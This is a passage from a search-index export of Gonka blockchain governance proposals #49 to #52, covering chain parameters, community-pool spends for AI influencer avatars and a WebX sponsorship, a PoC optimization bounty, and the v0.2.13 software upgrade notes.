[\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 100,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v1\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/devshardd.zip\",\n \"sha256\": \"15f722444e6545bc787f1ef6d1011557d25a8b05cb9f6aaf1a514349d36d4715\"\n }\n ],\n \"max_nonce\": 0,\n \"devshard_requests_enabled\": false,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 49
Type: Execute Contract
Submit: 2026-05-05 13:41 UTC
Voting: 2026-05-05 13:41 UTC → 2026-05-07 13:41 UTC
Proposer: gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09
Metadata: https://app.notion.com/p/Gonka-AI-AI-Influencer-Lab-Proposal-3514ff1f5a9a81faae76efbeb153cbe2
$45,000 · Community PoolView on gonka.gg
We're ICG - AI Influencer Lab, a team that builds and scales hyper-realistic AI avatars on Instagram, TikTok, and YouTube as full ambassadors across verticals. We manage 160+ accounts in AI, finance, crypto, and tech, and generate 100M+ organic monthly views. Our avatars in tech/AI are followed by Mark Cuban, Mark Ruffalo, the UAE Minister of Energy, thousands of entrepreneurs, and the AI-native crowd.
Proposal for Gonka: launch 5 AI avatars in the AI / tech / vibe-coding niche as community ambassadors, targeting vibe coders, AI-native founders, and developers. Goal: give Gonka a large, trustworthy media footprint, capture AI FOMO, and drive adoption.
Three-month projection: 720 native posts, 180 Gonka-native integrations. Estimated 20–35M organic reach versus 0.6–1.2M from traditional bloggers for a comparable budget, plus 50k–200k followers owned by the Gonka community. If the vote passes, all five avatars become official “supported by the Gonka community” ambassadors.
Cost: 45,000 USDT for 3 months (15,000 USDT/month for 5 avatars).
Short pitch: We propose launching 5 AI avatars to give Gonka massive, trustworthy media reach, capture AI FOMO, and drive adoption.
Full proposal: https://app.notion.com/p/Gonka-AI-AI-Influencer-Lab-Proposal-3514ff1f5a9a81faae76efbeb153cbe2
"}, {"location": "proposals/proposals/2026-q2/49/#final-tally", "title": "Final Tally", "text": "Yes 496,683 (71.1%) No 0 (0.0%) Veto 0 (0.0%) Abstain 201,560 (28.9%) Total 698,243 votes"}, {"location": "proposals/proposals/2026-q2/49/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"45000000000\",\n \"recipient\": \"gonka1ugpgrr9quvmw9qdsw9wf6s56c5vvl62v9chqmv\"\n }\n },\n \"funds\": []\n }\n]\nДата публикации: 2026-07-21
Всем привет! На связи команда ICG — продолжаем работу над AI-аватарами «Гонки». Ниже — апдейт по проекту с цифрами за всё время с запуска.
"}, {"location": "proposals/proposals/2026-q2/49/#_2", "title": "Что сделано к этому моменту", "text": "Концепция: девушка-аватар — AI-эксперт и серийный предприниматель. Ведёт новости и тренды в мире AI.
Метрика Значение Опубликовано 96 видео из 180 по плану Подписчики 2 080 Суммарный охват 448 198 Средние просмотры IG 340 · TikTok 1 877 · YouTube 2 494 ER IG 1,69% · TikTok 3,45% · YouTube 2,35%Рекордный ролик собрал 152K на YouTube; там же основной прирост подписчиков (1 961).
"}, {"location": "proposals/proposals/2026-q2/49/#2-gonka-ai-2", "title": "2. GONKA AI 2", "text": "Концепция: мужской аватар Alex — tech-энтузиаст, который сам построил AI-агента для ведения своих аккаунтов. Ежедневные разборы AI-тем, вайбкодер нового поколения.
Метрика Значение Опубликовано 87 видео из 180 по плану Подписчики 742 Суммарный охват 244 575 Средние просмотры IG 113 · TikTok 958 · YouTube 1 190 ER IG 1,25% · TikTok 1,98% · YouTube 2,89%Instagram растёт ниже плана — параллельно запустили второй аккаунт.
"}, {"location": "proposals/proposals/2026-q2/49/#3-gonka-ai-3", "title": "3. GONKA AI 3", "text": "Концепция: мужской аватар Mark — яркий тех-персонаж в образе разработчика и технаря.
Метрика Значение Опубликовано 94 видео из 180 по плану Подписчики 2 542 Суммарный охват 1 296 126 Средние просмотры IG 6 325 · TikTok 7 305 · YouTube 1 060 ER IG 1,74% · TikTok 3,03% · YouTube 2,69%Рекорд проекта: ролик на 453K в TikTok; в Instagram лучший собрал 168K.
"}, {"location": "proposals/proposals/2026-q2/49/#4-gonka-ai-4", "title": "4. GONKA AI 4", "text": "Концепция: девушка-аватар — бывший software engineer, ушла из корпората и теперь объясняет сложные AI-технологии простым языком для широкой аудитории.
Метрика Значение Опубликовано 99 видео из 180 по плану Подписчики 1 868 Суммарный охват 358 968 Средние просмотры IG 804 · TikTok 926 · YouTube 1 015 ER IG 1,47% · TikTok 3,46% · YouTube 2,93%"}, {"location": "proposals/proposals/2026-q2/49/#5-gonka-ai-5", "title": "5. GONKA AI 5", "text": "Концепция: мужской аватар Dean — разработчик-одиночка нового типа: строит продукты с помощью AI-инструментов.
Метрика Значение Опубликовано 83 видео из 180 по плану Подписчики 1 072 Суммарный охват 191 573 Средние просмотры IG 861 · TikTok 638 · YouTube 580 ER IG 1,20% · TikTok 3,11% · YouTube 1,85%Здесь самые слабые просмотры по проекту — мы полностью поменяли внешность аватара и продолжаем паблишинг уже с новым обликом.
"}, {"location": "proposals/proposals/2026-q2/49/#5", "title": "Итого по всем 5 аватарам", "text": "Немного прозрачности, как обычно: часть площадок мы перезапускали, и цифры выше включают подписчиков и старых, и новых версий аккаунтов. Перезапуски и параллельные аккаунты — штатная часть работы с AI-аватарами на ранней фазе. Есть аккаунты как Gonka 3, которые отлично растут и дальше будут становится сильно выше среднего, есть те которые растут хуже. Мы постоянно итерируем внешности, перезапускаем аккаунты чтобы сделать более быстрый рост. Пока мы идём в +- плане от метрик которые были изначально. С учётом того что некоторые аккаунты перезапускаются, мы будем переопубликовывать видео которые были опубликованны в старые и поэтому суммарно опубликованных видео в нашем батче 3-х месячном будет больше 180. Сейчас осталось ещё 1,5–2 месяца паблишинга дейли контента во все соцсети.
"}, {"location": "proposals/proposals/2026-q2/49/#_3", "title": "Почему мы всё ещё не показываем сами соцсети 🔒", "text": "Позиция не изменилась: аккаунты в фазе активного роста, публичные ссылки сейчас — это риск теневых банов, копикатов и накрутки, искажающей органический сигнал. Вся информация по аккаунтам по-прежнему у команды ancapex — они могут независимо подтвердить цифры.
"}, {"location": "proposals/proposals/2026-q2/49/#_4", "title": "Что дальше", "text": "Усиливаем Gonka 3, докатываем параллельные аккаунты там, где рост ниже плана, и смотрим на первые цифры AI 5 с новой внешностью. Через 2 недели вернёмся с новым апдейтом.
"}, {"location": "proposals/proposals/2026-q2/49/report1/", "title": "ICG — AI Avatars Monthly Report No.1", "text": "Дата публикации: 2026-07-21
Всем привет! На связи команда ICG — продолжаем работу над AI-аватарами «Гонки». Ниже — апдейт по проекту с цифрами за всё время с запуска.
"}, {"location": "proposals/proposals/2026-q2/49/report1/#_1", "title": "Что сделано к этому моменту", "text": "Концепция: девушка-аватар — AI-эксперт и серийный предприниматель. Ведёт новости и тренды в мире AI.
Метрика Значение Опубликовано 96 видео из 180 по плану Подписчики 2 080 Суммарный охват 448 198 Средние просмотры IG 340 · TikTok 1 877 · YouTube 2 494 ER IG 1,69% · TikTok 3,45% · YouTube 2,35%Рекордный ролик собрал 152K на YouTube; там же основной прирост подписчиков (1 961).
"}, {"location": "proposals/proposals/2026-q2/49/report1/#2-gonka-ai-2", "title": "2. GONKA AI 2", "text": "Концепция: мужской аватар Alex — tech-энтузиаст, который сам построил AI-агента для ведения своих аккаунтов. Ежедневные разборы AI-тем, вайбкодер нового поколения.
Метрика Значение Опубликовано 87 видео из 180 по плану Подписчики 742 Суммарный охват 244 575 Средние просмотры IG 113 · TikTok 958 · YouTube 1 190 ER IG 1,25% · TikTok 1,98% · YouTube 2,89%Instagram растёт ниже плана — параллельно запустили второй аккаунт.
"}, {"location": "proposals/proposals/2026-q2/49/report1/#3-gonka-ai-3", "title": "3. GONKA AI 3", "text": "Концепция: мужской аватар Mark — яркий тех-персонаж в образе разработчика и технаря.
Метрика Значение Опубликовано 94 видео из 180 по плану Подписчики 2 542 Суммарный охват 1 296 126 Средние просмотры IG 6 325 · TikTok 7 305 · YouTube 1 060 ER IG 1,74% · TikTok 3,03% · YouTube 2,69%Рекорд проекта: ролик на 453K в TikTok; в Instagram лучший собрал 168K.
"}, {"location": "proposals/proposals/2026-q2/49/report1/#4-gonka-ai-4", "title": "4. GONKA AI 4", "text": "Концепция: девушка-аватар — бывший software engineer, ушла из корпората и теперь объясняет сложные AI-технологии простым языком для широкой аудитории.
Метрика Значение Опубликовано 99 видео из 180 по плану Подписчики 1 868 Суммарный охват 358 968 Средние просмотры IG 804 · TikTok 926 · YouTube 1 015 ER IG 1,47% · TikTok 3,46% · YouTube 2,93%"}, {"location": "proposals/proposals/2026-q2/49/report1/#5-gonka-ai-5", "title": "5. GONKA AI 5", "text": "Концепция: мужской аватар Dean — разработчик-одиночка нового типа: строит продукты с помощью AI-инструментов.
Метрика Значение Опубликовано 83 видео из 180 по плану Подписчики 1 072 Суммарный охват 191 573 Средние просмотры IG 861 · TikTok 638 · YouTube 580 ER IG 1,20% · TikTok 3,11% · YouTube 1,85%Здесь самые слабые просмотры по проекту — мы полностью поменяли внешность аватара и продолжаем паблишинг уже с новым обликом.
"}, {"location": "proposals/proposals/2026-q2/49/report1/#5", "title": "Итого по всем 5 аватарам", "text": "Немного прозрачности, как обычно: часть площадок мы перезапускали, и цифры выше включают подписчиков и старых, и новых версий аккаунтов. Перезапуски и параллельные аккаунты — штатная часть работы с AI-аватарами на ранней фазе. Есть аккаунты как Gonka 3, которые отлично растут и дальше будут становится сильно выше среднего, есть те которые растут хуже. Мы постоянно итерируем внешности, перезапускаем аккаунты чтобы сделать более быстрый рост. Пока мы идём в +- плане от метрик которые были изначально. С учётом того что некоторые аккаунты перезапускаются, мы будем переопубликовывать видео которые были опубликованны в старые и поэтому суммарно опубликованных видео в нашем батче 3-х месячном будет больше 180. Сейчас осталось ещё 1,5–2 месяца паблишинга дейли контента во все соцсети.
"}, {"location": "proposals/proposals/2026-q2/49/report1/#_2", "title": "Почему мы всё ещё не показываем сами соцсети 🔒", "text": "Позиция не изменилась: аккаунты в фазе активного роста, публичные ссылки сейчас — это риск теневых банов, копикатов и накрутки, искажающей органический сигнал. Вся информация по аккаунтам по-прежнему у команды ancapex — они могут независимо подтвердить цифры.
"}, {"location": "proposals/proposals/2026-q2/49/report1/#_3", "title": "Что дальше", "text": "Усиливаем Gonka 3, докатываем параллельные аккаунты там, где рост ниже плана, и смотрим на первые цифры AI 5 с новой внешностью. Через 2 недели вернёмся с новым апдейтом.
"}, {"location": "proposals/proposals/2026-q2/50/", "title": "#50 – Retroactive bounty: open-source PoC throughput optimization (+10–12% measured) with 250 total installations", "text": "Passed
Proposal ID: 50
Type: Community Pool Spend
Submit: 2026-05-07 15:54 UTC
Voting: 2026-05-07 15:54 UTC → 2026-05-09 15:54 UTC
Proposer: gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3
Metadata: https://vote.gonka.vip/tenders/6392c2ea-7fb8-45c7-b1ec-80fb16d81d93
20,000 GNK · Community PoolView on gonka.gg
Retroactive 20K GNK bounty for an open-sourced PoC optimization measuring +10.2% on B200 and +12.5% on H100 with Qwen3-235B-FP8. One-line patch, verified on-chain by independent miners. Details: https://vote.gonka.vip/tenders/6392c2ea-7fb8-45c7-b1ec-80fb16d81d93
"}, {"location": "proposals/proposals/2026-q2/50/#final-tally", "title": "Final Tally", "text": "Yes 281,723 (59.1%) No 0 (0.0%) Veto 0 (0.0%) Abstain 194,589 (40.9%) Total 476,312 votes"}, {"location": "proposals/proposals/2026-q2/50/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20000000000000\"\n }\n ]\n }\n]\nPassed
Proposal ID: 51
Type: Execute Contract
Submit: 2026-05-13 13:17 UTC
Voting: 2026-05-13 13:17 UTC → 2026-05-15 13:17 UTC
Proposer: gonka15p7s7w2hx0y8095lddd4ummm2y0kwpwljk00aq
Metadata: https://github.com/6block/gonka-webx-proposal/blob/main/README.md
$75,000 · Community PoolView on gonka.gg
6Block, a long-term Gonka mining and infrastructure participant, proposes that the Gonka community allocate 75,000 USDT to support Gonka's participation at WebX Asia / WebX 2026 in Tokyo. 6Block has already committed 50% of the needed 150,000 USDT of its own funds for the official Platinum sponsorship. If approved, the funds will be transferred to 6Block's designated wallet and used for event execution (team travel, accommodation, booth production, materials, media support, partner coordination). 6Block will provide a post-event summary to the community. Full proposal: https://github.com/6block/gonka-webx-proposal/blob/main/README.md
"}, {"location": "proposals/proposals/2026-q2/51/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/51/#support-gonkas-presence-at-webx-asia", "title": "Support Gonka's Presence at WebX Asia", "text": "Status: Governance proposal pending on-chain submission to gonka-mainnet Requested amount: 75,000 USDT Recipient address: gonka1yqj5xf0wtqgpdmv5v68cus0tp2j5fv7lzcfd6g Voting period: 48 hours after submission Submitted by: 6Block
6Block, a long-term Gonka mining and infrastructure participant, proposes allocating 75,000 USDT from the Community Pool to support Gonka's effective participation at WebX Asia / WebX 2026 in Tokyo. 6Block has already committed 50% of the needed 150,000 USDT of its own funds for the official Platinum sponsorship.
This community funding is crucial for covering essential event execution costs, including team travel, accommodation, booth production, materials, media support, and partner coordination. Without the additional funding, participation in the event is not possible. The objective is to maximize WebX's impact as a serious ecosystem growth opportunity for Gonka, a decentralized infrastructure for AI compute.
WebX is Asia's largest Web3 conference and is strategically relevant to Gonka, which operates at the intersection of Web3, AI, and decentralized networks. A professional presence is key to gaining visibility and connecting with potential GPU providers, developers, investors, and media in the Asian market.
This shared funding model ensures joint responsibility (6Block funds sponsorship, community funds execution), maximizing benefits like stronger public positioning and market recognition for the whole network. If approved, 6Block will receive the funds and provide a post-event summary covering execution and outcomes.
"}, {"location": "proposals/proposals/2026-q2/51/#on-chain-proposal-text", "title": "On-chain Proposal Text", "text": ""}, {"location": "proposals/proposals/2026-q2/51/#support-gonkas-presence-at-webx-asia_1", "title": "Support Gonka's presence at WebX Asia", "text": "6Block proposes that the Gonka community allocate 75,000 USDT from the Community Pool to support Gonka's participation at WebX Asia / WebX 2026 in Tokyo.
6Block, a long-term Gonka mining and infrastructure participant, proposes allocating 75,000 USDT from the Community Pool to support Gonka's effective participation at WebX Asia / WebX 2026 in Tokyo. 6Block has already committed 50% of the needed 150,000 USDT of its own funds for the official Platinum sponsorship.
WebX is one of Asia's largest Web3 conferences and brings together Web3 companies, infrastructure providers, investors, developers, media, and policy-related participants from Japan and the global market. Gonka is already listed as a Platinum sponsor of WebX, creating a strong opportunity to increase visibility in Asia and reach GPU providers, miners, infrastructure partners, developers, exchanges, investors, and media.
If approved, the funds will be transferred to 6Block's designated wallet and used for event execution related to Gonka's WebX presence. 6Block will provide a post-event summary to the community.
Requested amount: 75,000 USDT.
"}, {"location": "proposals/proposals/2026-q2/51/#on-chain-execution-details", "title": "On-chain Execution Details", "text": "Proposal JSON: proposal.json
This proposal uses wasm/MsgExecuteContract to invoke the withdraw_ibc entrypoint on Gonka's community-sale contract, transferring USDT to the recipient address. This mirrors the execution pattern of previously approved proposal #42 (\"Support Gonka at Global Compute Sovereignty Summit\").
/cosmwasm.wasm.v1.MsgExecuteContract Contract gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2 (community-sale) Contract admin gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33 (gov module) Denom ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4 (USDT, 6 decimals, IBC from Kava) Amount 75000000000 base units = 75,000 USDT Recipient gonka1yqj5xf0wtqgpdmv5v68cus0tp2j5fv7lzcfd6g (6Block)"}, {"location": "proposals/proposals/2026-q2/51/#post-event-reporting", "title": "Post-Event Reporting", "text": "6Block commits to publishing a post-event summary in this repository covering execution outcomes, expense breakdown, and follow-up actions following Gonka's participation at WebX 2026.
"}, {"location": "proposals/proposals/2026-q2/51/#about-6block", "title": "About 6Block", "text": "6Block, a long-term Gonka mining and infrastructure participant, proposes allocating 75,000 USDT from the Community Pool to support Gonka's effective participation at WebX Asia / WebX 2026 in Tokyo on July 13-14.
"}, {"location": "proposals/proposals/2026-q2/51/#final-tally", "title": "Final Tally", "text": "Yes 395,003 (62.8%) No 1,767 (0.3%) Veto 64,217 (10.2%) Abstain 168,275 (26.7%) Total 629,262 votes"}, {"location": "proposals/proposals/2026-q2/51/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"75000000000\",\n \"recipient\": \"gonka1yqj5xf0wtqgpdmv5v68cus0tp2j5fv7lzcfd6g\"\n }\n },\n \"funds\": []\n }\n]\nStatus: Governance proposal pending on-chain submission to gonka-mainnet Requested amount: 75,000 USDT Recipient address: gonka1yqj5xf0wtqgpdmv5v68cus0tp2j5fv7lzcfd6g Voting period: 48 hours after submission Submitted by: 6Block
6Block, a long-term Gonka mining and infrastructure participant, proposes allocating 75,000 USDT from the Community Pool to support Gonka's effective participation at WebX Asia / WebX 2026 in Tokyo. 6Block has already committed 50% of the needed 150,000 USDT of its own funds for the official Platinum sponsorship.
This community funding is crucial for covering essential event execution costs, including team travel, accommodation, booth production, materials, media support, and partner coordination. Without the additional funding, participation in the event is not possible. The objective is to maximize WebX's impact as a serious ecosystem growth opportunity for Gonka, a decentralized infrastructure for AI compute.
WebX is Asia's largest Web3 conference and is strategically relevant to Gonka, which operates at the intersection of Web3, AI, and decentralized networks. A professional presence is key to gaining visibility and connecting with potential GPU providers, developers, investors, and media in the Asian market.
This shared funding model ensures joint responsibility (6Block funds sponsorship, community funds execution), maximizing benefits like stronger public positioning and market recognition for the whole network. If approved, 6Block will receive the funds and provide a post-event summary covering execution and outcomes.
"}, {"location": "proposals/proposals/2026-q2/51/full-proposal/#on-chain-proposal-text", "title": "On-chain Proposal Text", "text": ""}, {"location": "proposals/proposals/2026-q2/51/full-proposal/#support-gonkas-presence-at-webx-asia_1", "title": "Support Gonka's presence at WebX Asia", "text": "6Block proposes that the Gonka community allocate 75,000 USDT from the Community Pool to support Gonka's participation at WebX Asia / WebX 2026 in Tokyo.
6Block, a long-term Gonka mining and infrastructure participant, proposes allocating 75,000 USDT from the Community Pool to support Gonka's effective participation at WebX Asia / WebX 2026 in Tokyo. 6Block has already committed 50% of the needed 150,000 USDT of its own funds for the official Platinum sponsorship.
WebX is one of Asia's largest Web3 conferences and brings together Web3 companies, infrastructure providers, investors, developers, media, and policy-related participants from Japan and the global market. Gonka is already listed as a Platinum sponsor of WebX, creating a strong opportunity to increase visibility in Asia and reach GPU providers, miners, infrastructure partners, developers, exchanges, investors, and media.
If approved, the funds will be transferred to 6Block's designated wallet and used for event execution related to Gonka's WebX presence. 6Block will provide a post-event summary to the community.
Requested amount: 75,000 USDT.
"}, {"location": "proposals/proposals/2026-q2/51/full-proposal/#on-chain-execution-details", "title": "On-chain Execution Details", "text": "Proposal JSON: proposal.json
This proposal uses wasm/MsgExecuteContract to invoke the withdraw_ibc entrypoint on Gonka's community-sale contract, transferring USDT to the recipient address. This mirrors the execution pattern of previously approved proposal #42 (\"Support Gonka at Global Compute Sovereignty Summit\").
/cosmwasm.wasm.v1.MsgExecuteContract Contract gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2 (community-sale) Contract admin gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33 (gov module) Denom ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4 (USDT, 6 decimals, IBC from Kava) Amount 75000000000 base units = 75,000 USDT Recipient gonka1yqj5xf0wtqgpdmv5v68cus0tp2j5fv7lzcfd6g (6Block)"}, {"location": "proposals/proposals/2026-q2/51/full-proposal/#post-event-reporting", "title": "Post-Event Reporting", "text": "6Block commits to publishing a post-event summary in this repository covering execution outcomes, expense breakdown, and follow-up actions following Gonka's participation at WebX 2026.
"}, {"location": "proposals/proposals/2026-q2/51/full-proposal/#about-6block", "title": "About 6Block", "text": "6Block, a long-term Gonka mining and infrastructure participant, proposes allocating 75,000 USDT from the Community Pool to support Gonka's effective participation at WebX Asia / WebX 2026 in Tokyo on July 13-14.
"}, {"location": "proposals/proposals/2026-q2/52/", "title": "#52 – Upgrade Proposal: v0.2.13", "text": "Rejected
Proposal ID: 52
Type: Software Upgrade
Submit: 2026-05-15 07:58 UTC
Voting: 2026-05-15 07:58 UTC → 2026-05-17 07:58 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/aa413e198825ddcc5eac80f4ca2e85a9bc54700e/proposals/governance-artifacts/update-v0.2.13/README.md
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
Upgrade Proposal: v0.2.13
"}, {"location": "proposals/proposals/2026-q2/52/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/52/#upgrade-proposal-v0213", "title": "Upgrade Proposal: v0.2.13", "text": "This proposal covers the v0.2.13 microrelease.
The release fixes confirmation PoC reward accounting, devshard escrow params, complaint-response authz grants, upstream response parsing, participant reactivation, node-manager gRPC defaults, and devshard storage growth.
The upgrade also disables confirmation PoC for the rest of the upgrade epoch so the new snapshot logic starts cleanly from the next epoch.
"}, {"location": "proposals/proposals/2026-q2/52/#upgrade-plan", "title": "Upgrade Plan", "text": "The node binary is upgraded through an on-chain software upgrade proposal.
The PR also updates api and node container versions in deploy/join/docker-compose.yml for hosts joining after the on-chain upgrade.
Existing hosts are not required to manually update their api or node containers as part of the chain upgrade.
The on-chain migration logic is defined in upgrades.go.
Migrations:
DevshardEscrowParams.MaxEscrowsPerEpoch to 500_000.DevshardEscrowParams.MaxNonce to 1_000_000. The previous settlement path used a hardcoded 20_000 nonce limit.GenesisOnlyParams.GenesisGuardianMultiplier to 0.33334, reducing genesis guardian power from about 34% to about 25% of adjusted voting power while early-network protection applies.0.25. Quorum is computed against total chain voting power; with genesis guardians (25%) not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).EpochGroupData.ConfirmationWeightScales for the current epoch and clamps existing confirmation weights down to the new expected value.MsgRespondDealerComplaints authz grants on existing cold-to-warm ML ops pairs. v0.2.12 added this message to the permission list but did not migrate existing grants, so DAPIs that joined before v0.2.12 could not respond to dealer complaints.UpgradeProtectionWindow of 3000 blocks. The new snapshot logic starts from the next epoch.MiniMaxAI/MiniMax-M2.7) as a governance model and PoC model config with PenaltyStartEpoch = 271 (bootstrap activation epoch).PocParams.Models[*].WeightScaleFactor to recalibrate against the Qwen-on-B200 reference after the vLLM 0.20.1 release. Kimi was too high on B* GPUs. Kimi = Qwen-on-B200 + 10% (top-tier premium), MiniMax = Qwen-on-B200:moonshotai/Kimi-K2.6): 0.78MiniMaxAI/MiniMax-M2.7): 0.3024Model.ValidationThreshold from cross-version vLLM results:Qwen/Qwen3-235B-A22B-Instruct-2507-FP8): 0.940moonshotai/Kimi-K2.6): 0.900MiniMaxAI/MiniMax-M2.7): 0.922--enable-auto-tool-choice to Kimi ModelArgs if missing.ConsecutiveInvalidInferences was not reset when a participant became ACTIVE again. A host could return from invalid state and be invalidated again after one new failure. v0.2.13 resets the counter on reactivation and upcoming promotion.DevshardEscrowParams.MaxNonce instead of a hardcoded constant.GenesisOnlyParams.GenesisGuardianMultiplier = 0.33334 and sets the chain-wide governance quorum to 0.25. Quorum is computed against total bonded power; with guardians not voting, this gives an effective 1/3 quorum among the remaining 75% of voting power (0.25 / 0.75 = 0.334).stop_reason values. Choice.StopReason now accepts any JSON type, so those responses no longer fail unmarshalling.NodeManagerGrpcPort did not start by default when unset. It now defaults to 9400, and join compose uses the same default so devshard can reach the API without manual config.epoch_id for sessions, diffs, and signatures, so pruning can drop old epoch data cleanly./cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.13\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"4133422\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13/inferenced-amd64.zip?checksum=sha256:e5940e5879cb978cc7673bed70a740604ca0c6bcc4f03eccd5353b6a2bee90fe\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13/decentralized-api-amd64.zip?checksum=sha256:9aef44e85445db6add0426a380daac42f86345c20151e672b7177d331545c703\\\"\\n },\\n \\\"ethereum_bridge_address\\\": \\\"0x972a7a92d92796a98801a8818bcf91f1648f2f68\\\",\\n \\\"wrapped_token_code_id\\\": 105\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis proposal covers the v0.2.13 microrelease.
